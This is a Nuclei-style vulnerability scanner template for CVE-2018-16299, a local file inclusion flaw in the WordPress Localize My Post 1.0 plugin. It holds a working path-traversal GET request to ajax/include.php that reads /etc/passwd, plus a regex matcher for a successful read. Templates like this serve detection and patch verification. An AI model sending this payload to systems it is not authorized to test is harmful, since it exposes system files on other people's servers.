id: CVE-2018-16299 info: name: WordPress Localize My Post 1.0 - Local File Inclusion author: 0x_Akoko,0x240x23elu severity: high description: | WordPress Localize My Post 1.0 is susceptible to local file inclusion via the ajax/include.php file parameter. remediation: | Update to the latest version of WordPress Localize My Post plugin. reference: - https://www.exploit-db.com/exploits/45439 - https://packetstormsecurity.com/files/149433/WordPress-Localize-My-Post-1.0-Local-File-Inclusion.html - https://github.com/julianburr/wp-plugin-localizemypost/issues/1 - https://nvd.nist.gov/vuln/detail/CVE-2018-16299 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-16299 cwe-id: CWE-22 epss-score: 0.05083 epss-percentile: 0.92018 cpe: cpe:2.3:a:localize_my_post_project:localize_my_post:1.0:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: localize_my_post_project product: localize_my_post framework: wordpress tags: wordpress,lfi,plugin,wp,edb,packetstorm,cve,cve2018 http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 490a0046304402201050a4fa64b4be8d304cbe213bafd94be8e9bb61660738b7974d4430bc8b8860022023eb33fd0a47e03b31fabf479ada7ac0184e880f0526ce61a92954a063f70457:922c64590222798bb761d5b6d8e72950